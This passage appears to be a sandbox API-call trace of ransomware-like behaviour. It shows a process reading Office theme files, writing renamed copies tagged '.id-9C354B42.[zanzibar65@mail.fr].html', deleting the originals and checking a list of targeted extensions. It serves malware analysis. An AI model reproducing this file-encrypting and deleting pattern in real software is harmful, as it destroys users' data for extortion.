[0044.050] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.050] GetLastError () returned 0x0 [0044.050] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0044.059] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0044.060] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.060] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.060] SetEndOfFile (hFile=0x1e8) returned 1 [0044.060] CloseHandle (hObject=0x1e8) returned 1 [0044.060] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.060] SetEndOfFile (hFile=0x1f8) returned 1 [0044.061] CloseHandle (hObject=0x1f8) returned 1 [0044.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.061] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0044.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0044.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0044.062] lstrlenW (lpString=".doc") returned 4 [0044.062] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.062] lstrlenW (lpString=".docx") returned 5 [0044.062] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.062] lstrlenW (lpString=".pdf") returned 4 [0044.062] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.062] lstrlenW (lpString=".xls") returned 4 [0044.062] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.062] lstrlenW (lpString=".xlsx") returned 5 [0044.062] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.062] lstrlenW (lpString=".ppt") returned 4 [0044.062] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0044.062] lstrlenW (lpString=".zip") returned 4 [0044.062] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.062] lstrlenW (lpString=".rar") returned 4 [0044.062] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.062] lstrlenW (lpString=".bz2") returned 4 [0044.062] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.062] lstrlenW (lpString=".7z") returned 3 [0044.062] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0044.062] lstrlenW (lpString=".dbf") returned 4 [0044.062] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0044.062] lstrlenW (lpString=".1cd") returned 4 [0044.062] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0044.062] lstrlenW (lpString=".jpg") returned 4 [0044.063] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0044.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0044.063] lstrlenW (lpString=".doc") returned 4 [0044.063] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.063] lstrlenW (lpString=".docx") returned 5 [0044.063] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.063] lstrlenW (lpString=".pdf") returned 4 [0044.063] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.063] lstrlenW (lpString=".xls") returned 4 [0044.063] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.063] lstrlenW (lpString=".xlsx") returned 5 [0044.063] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.063] lstrlenW (lpString=".ppt") returned 4 [0044.063] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0044.063] lstrlenW (lpString=".zip") returned 4 [0044.063] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.063] lstrlenW (lpString=".rar") returned 4 [0044.063] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.063] lstrlenW (lpString=".bz2") returned 4 [0044.063] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.063] lstrlenW (lpString=".7z") returned 3 [0044.063] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0044.063] lstrlenW (lpString=".dbf") returned 4 [0044.063] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0044.063] lstrlenW (lpString=".1cd") returned 4 [0044.063] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0044.064] lstrlenW (lpString=".jpg") returned 4 [0044.064] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.064] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.064] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0044.073] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=44850) returned 1 [0044.073] CloseHandle (hObject=0x1f8) returned 1 [0044.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0044.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.084] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.084] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.084] GetLastError () returned 0x0 [0044.084] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xaf32, lpOverlapped=0x0) returned 1 [0044.086] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0044.088] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.088] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.088] SetEndOfFile (hFile=0x208) returned 1 [0044.088] CloseHandle (hObject=0x208) returned 1 [0044.088] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.088] SetEndOfFile (hFile=0x1e8) returned 1 [0044.089] CloseHandle (hObject=0x1e8) returned 1 [0044.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.090] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0044.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0044.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0044.090] lstrlenW (lpString=".doc") returned 4 [0044.090] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.090] lstrlenW (lpString=".docx") returned 5 [0044.090] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.090] lstrlenW (lpString=".pdf") returned 4 [0044.090] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.090] lstrlenW (lpString=".xls") returned 4 [0044.090] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.090] lstrlenW (lpString=".xlsx") returned 5 [0044.090] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.090] lstrlenW (lpString=".ppt") returned 4 [0044.090] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0044.090] lstrlenW (lpString=".zip") returned 4 [0044.090] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.090] lstrlenW (lpString=".rar") returned 4 [0044.090] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.090] lstrlenW (lpString=".bz2") returned 4 [0044.090] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.090] lstrlenW (lpString=".7z") returned 3 [0044.090] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0044.090] lstrlenW (lpString=".dbf") returned 4 [0044.090] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0044.091] lstrlenW (lpString=".1cd") returned 4 [0044.091] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0044.091] lstrlenW (lpString=".jpg") returned 4 [0044.091] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0044.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0044.091] lstrlenW (lpString=".doc") returned 4 [0044.091] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.091] lstrlenW (lpString=".docx") returned 5 [0044.091] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.091] lstrlenW (lpString=".pdf") returned 4 [0044.091] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.091] lstrlenW (lpString=".xls") returned 4 [0044.091] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.091] lstrlenW (lpString=".xlsx") returned 5 [0044.091] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.091] lstrlenW (lpString=".ppt") returned 4 [0044.091] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0044.091] lstrlenW (lpString=".zip") returned 4 [0044.091] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.091] lstrlenW (lpString=".rar") returned 4 [0044.091] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.091] lstrlenW (lpString=".bz2") returned 4 [0044.091] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.091] lstrlenW (lpString=".7z") returned 3 [0044.091] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0044.091] lstrlenW (lpString=".dbf") returned 4 [0044.092] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0044.092] lstrlenW (lpString=".1cd") returned 4 [0044.092] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0044.092] lstrlenW (lpString=".jpg") returned 4 [0044.092] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.092] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.092] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.092] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1364) returned 1 [0044.092] CloseHandle (hObject=0x1e8) returned 1 [0044.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0044.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.093] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.093] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.094] GetLastError () returned 0x0 [0044.094] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x554, lpOverlapped=0x0) returned 1 [0044.096] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x560, lpOverlapped=0x0) returned 1 [0044.097] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.097] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.097] SetEndOfFile (hFile=0x208) returned 1 [0044.097] CloseHandle (hObject=0x208) returned 1 [0044.097] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.097] SetEndOfFile (hFile=0x1e8) returned 1 [0044.098] CloseHandle (hObject=0x1e8) returned 1 [0044.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.098] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0044.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0044.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0044.098] lstrlenW (lpString=".doc") returned 4 [0044.098] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.099] lstrlenW (lpString=".docx") returned 5 [0044.099] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.099] lstrlenW (lpString=".pdf") returned 4 [0044.099] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.099] lstrlenW (lpString=".xls") returned 4 [0044.099] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.099] lstrlenW (lpString=".xlsx") returned 5 [0044.099] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.099] lstrlenW (lpString=".ppt") returned 4 [0044.099] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0044.099] lstrlenW (lpString=".zip") returned 4 [0044.099] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.099] lstrlenW (lpString=".rar") returned 4 [0044.099] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.099] lstrlenW (lpString=".bz2") returned 4 [0044.099] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.099] lstrlenW (lpString=".7z") returned 3 [0044.099] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0044.099] lstrlenW (lpString=".dbf") returned 4 [0044.099] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0044.099] lstrlenW (lpString=".1cd") returned 4 [0044.099] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0044.099] lstrlenW (lpString=".jpg") returned 4 [0044.099] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0044.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0044.099] lstrlenW (lpString=".doc") returned 4 [0044.099] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.100] lstrlenW (lpString=".docx") returned 5 [0044.100] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.100] lstrlenW (lpString=".pdf") returned 4 [0044.100] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.100] lstrlenW (lpString=".xls") returned 4 [0044.100] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.100] lstrlenW (lpString=".xlsx") returned 5 [0044.100] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.100] lstrlenW (lpString=".ppt") returned 4 [0044.100] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0044.100] lstrlenW (lpString=".zip") returned 4 [0044.100] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.100] lstrlenW (lpString=".rar") returned 4 [0044.100] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.100] lstrlenW (lpString=".bz2") returned 4 [0044.100] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.100] lstrlenW (lpString=".7z") returned 3 [0044.100] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0044.100] lstrlenW (lpString=".dbf") returned 4 [0044.100] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0044.100] lstrlenW (lpString=".1cd") returned 4 [0044.100] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0044.100] lstrlenW (lpString=".jpg") returned 4 [0044.100] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.100] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.101] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.101] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=11573) returned 1 [0044.101] CloseHandle (hObject=0x1e8) returned 1 [0044.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0044.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.101] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 